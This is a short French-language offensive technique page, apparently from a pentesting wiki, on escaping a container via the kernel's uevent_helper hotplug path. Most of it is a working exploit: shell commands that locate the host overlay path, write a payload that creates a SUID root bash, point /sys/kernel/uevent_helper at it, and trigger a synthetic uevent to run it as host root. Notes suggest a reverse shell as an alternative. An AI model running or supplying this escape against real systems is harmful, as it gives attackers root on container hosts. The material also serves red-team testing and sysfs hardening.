Avant udev basé sur netlink, le noyau gérait le hotplug de périphériques en exécutant un assistant en espace utilisateur pour chaque uevent. Ce chemin d'assistant existe toujours à /sys/kernel/uevent_helper, et lorsqu'il est défini, le noyau l'exécute en tant que root dans les espaces de noms initiaux de l'hôte à chaque événement de périphérique. Un conteneur dont le sysfs de l'hôte est monté en écriture définit ce chemin sur une charge utile puis déclenche un uevent à la demande en écrivant dans le fichier uevent de n'importe quel périphérique, offrant une exécution fiable sur l'hôte sans attendre un véritable événement matériel.
Confirmez la possibilité d'écriture :
ls -l /sys/kernel/uevent_helper
[ -w /sys/kernel/uevent_helper ] && echo writable
La technique#
# 1. Host-resolvable payload
host=$(sed -n 's/.*\bupperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
cat > /payload <<SH
#!/bin/sh
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
id > $host/out 2>&1
SH
chmod +x /payload
# 2. Set the hotplug helper to the payload
echo "$host/payload" > /sys/kernel/uevent_helper
# 3. Fire a synthetic uevent on any device node in sysfs
echo add > /sys/class/mem/null/uevent
sleep 1; cat /out; ls -l /tmp/rootbash
Écrire add dans un fichier uevent force le noyau à émettre l'événement et à invoquer l'assistant immédiatement, de sorte qu'aucun changement de périphérique physique n'est nécessaire.
Notes d'exploitation#
- N'importe quel fichier
ueventaccessible en écriture sous/sysfonctionne comme déclencheur ;/sys/class/mem/null/ueventet/sys/devices/.../ueventsont des choix courants. - Cela nécessite que le sysfs de l'hôte soit monté en écriture dans le conteneur, généralement sous
--privilegedou avec un-v /sys:...explicite sansro; un sysfs en lecture seule le met en échec. - La charge utile s'exécute une fois par événement ; utilisez-la pour déposer un bash SUID ou un reverse shell plutôt que pour maintenir une session.